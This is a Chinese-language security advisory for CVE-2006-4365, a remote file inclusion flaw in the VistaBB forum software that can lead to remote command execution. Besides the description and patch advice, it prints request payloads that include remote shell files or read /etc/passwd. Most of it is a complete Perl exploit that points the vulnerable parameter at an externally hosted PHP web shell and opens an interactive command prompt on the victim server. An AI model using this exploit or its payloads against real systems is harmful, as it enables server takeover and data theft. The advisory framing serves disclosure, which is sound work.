发布日期：2006-08-24
更新日期：2006-08-25

受影响系统：

VistaBB VistaBB <= 2.x

描述：

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CVE(CAN) ID: CVE-2006-4365

VistaBB是一款由土耳其开发者所开发的论坛程序。

VistaBB的实现上存在输入验证漏洞，远程攻击者可能利用此漏洞在服务器上执行任意命令。

VistaBB的includes/functions_mod_user.php和includes/functions_portal.php脚本没有正确验证phpbb_root_path参数的输入，攻击者可以通过包含本地或外部资源的文件导致执行任意PHP代码。成功的攻击要求打开了register_globals。

<*来源：Mustafa Can Bjorn （nukedx@nukedx.com）
  
  链接：http://secunia.com/advisories/21602/
*>

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

GET -> http://[site]/[vistabbpath]/includes/functions_mod_user.php?phpbb_root_path=[FILE]
EXAMPLE -> http://[site]/[vistabbpath]/includes/functions_mod_user.php?phpbb_root_path=http://yoursite.com/cmd.txt?
EXAMPLE -> http://[site]/[vistabbpath]/includes/functions_mod_user.php?phpbb_root_path=/etc/passwd%00 <- mq off
GET -> http://[site]/[vistabbpath]/includes/functions_portal.php?phpbb_root_path=[FILE]
EXAMPLE -> http://[site]/[vistabbpath]/includes/functions_portal.php?phpbb_root_path=http://yoursite.com/cmd.txt?
EXAMPLE -> http://[site]/[vistabbpath]/includes/functions_portal.php?phpbb_root_path=/etc/passwd%00 <- mq off

#!/usr/bin/perl
# Method found and exploit scripted by nukedx
# Contacts> ICQ: 10072 Web: http://www.nukedx.com MAIL/MSN: nukedx@nukedx.com
# Original advisory can be found at: http://www.nukedx.com/?viewdoc=48
#
# VistaBB <= 2.x Remote Command Execution Exploit
#
# This exploit comes with it's own php shell setting. If you wanna change it your file must contain this data >
#
# <?php
# echo "_START_\n";
# ini_set("max_execution_time",0);
# error_reporting(0);
# passthru($_REQUEST[command]);
# echo "\n_END_";
# ?>
#
# Copyright 2006 (C) nukedx
#
# Greetz to: WW,xT,php from my team NWPX , str0ke , cha0s , Preddy , Yns , |SaMaN|, Caesar , Ogre and all of my  friends
use IO::Socket;
# Default configuration
$shell = "http://hometown.aol.com/yarivgiladi/sh.php";
# Checking user settings
if(@ARGV != 2) { usage(); }
else { exploit(); }
sub header()
{
  print "\n- NukedX Security Advisory Nr.2006-44\r\n";
  print "- VistaBB <= 2.x Remote Command Execution Exploit\r\n";
}
sub usage()
{
  header();
  print "- Usage: $0 <host> <path>\r\n";
  print "- <host> -> Victim's host ex: www.victim.com\r\n";
  print "- <path> -> Path to VistaBB ex: /vistabb/ or just /\r\n";
  exit();
}
sub exploit() {
  # User variables
  $host = $ARGV[0];
  $host =~ s/(http:\/\/)//eg;
  $target = $ARGV[1]."includes/functions_mod_user.php";
  $good = 0;
  $c2s = "command=whoami";
  $c2slen = length($c2s);
  print "Trying to connect: $host\r\n";
  $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => $host, PeerPort => 80) || die "Connection  failed...\r\n";
  print "Connected to victim: $host\r\n";
  print $sock "POST $target HTTP/1.1\n";
  print $sock "Host: $host\n";
  print $sock "Accept: */*\n";
  print $sock "Referer: $host\r\n";
  print $sock "Accept-Language: tr\r\n";
  print $sock "Content-Type: application/x-www-form-urlencoded\r\n";
  print $sock "Accept-Encoding: gzip, deflate\r\n";
  print $sock "User-Agent: NukeZilla\r\n";
  print $sock "Cookie: phpbb_root_path=".$shell."?\r\n";
  print $sock "Content-length: $c2slen\r\n";
  print $sock "Connection: Keep-Alive\r\n";
  print $sock "Cache-Control: no-cache\r\n\r\n";
  print $sock $c2s;
  print $sock "\r\n\r\n";
  while($result = <$sock>)
  {
    if($result =~ /^_END_/)
    {
      $good=0;
      close($sock);
    }
    if($good==1)
    {
      if (!$whoami) {
        $whoami = trim($result);
        print "Logged as $whoami\r\nType exit for exit dont press ctrl+c\r\n";
      }
    }
    if ($good==0)
    {
      if ($result =~ /Warning: include_once/) { print "Sorry victim is not vulnerable...\r\nClosing exploit...\r\n";sleep(3);exit(); }
    }
    if($result =~ /^_START_/)
    {
      $good=1;
    }
  }
  while()
  {
    print "[".$whoami."@".$host." /]\$ ";
    while(<STDIN>)
    {
      $cmds=$_;
      chomp($cmds);
      last;
    }
    if ($cmds =~ /^exit/) { print "Closing exploit...\r\n";sleep(3);exit(); }
    else { sendcmd(); }
  }
}
sub sendcmd () {
  $c2s = "command=".$cmds;
  $c2slen = length($c2s);
  $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => $host, PeerPort => 80) || die "Connection lost...\r\n";
  print $sock "POST $target HTTP/1.1\n";
  print $sock "Host: $host\n";
  print $sock "Accept: */*\n";
  print $sock "Referer: $host\r\n";
  print $sock "Accept-Language: tr\r\n";
  print $sock "Content-Type: application/x-www-form-urlencoded\r\n";
  print $sock "Accept-Encoding: gzip, deflate\r\n";
  print $sock "User-Agent: NukeZilla\r\n";
  print $sock "Cookie: phpbb_root_path=".$shell."?\r\n";
  print $sock "Content-length: $c2slen\r\n";
  print $sock "Connection: Keep-Alive\r\n";
  print $sock "Cache-Control: no-cache\r\n\r\n";
  print $sock $c2s;
  print $sock "\r\n\r\n";
  while($result = <$sock>)
  {
    if($result =~ /^_END_/)
    {
      $good=0;
      close($sock);
    }
    if($good==1)
    {
      print $result;
    }
    if ($good==0)
    {
      if ($result =~ /Warning: include_once/) { print "Sorry victim is not vulnerable or patched!...\r\nClosing exploit...\r\n";sleep(3);exit(); }
    }
    if($result =~ /^_START_/)
    {
      $good=1;
    }
  }
}
sub trim($)
{
      my $string = shift;
      $string =~ s/^\s+//;
      $string =~ s/\s+$//;
      return $string;
}

# nukedx.com [2006-08-24]

建议：

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厂商补丁：

VistaBB
-------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.vistabb.net/

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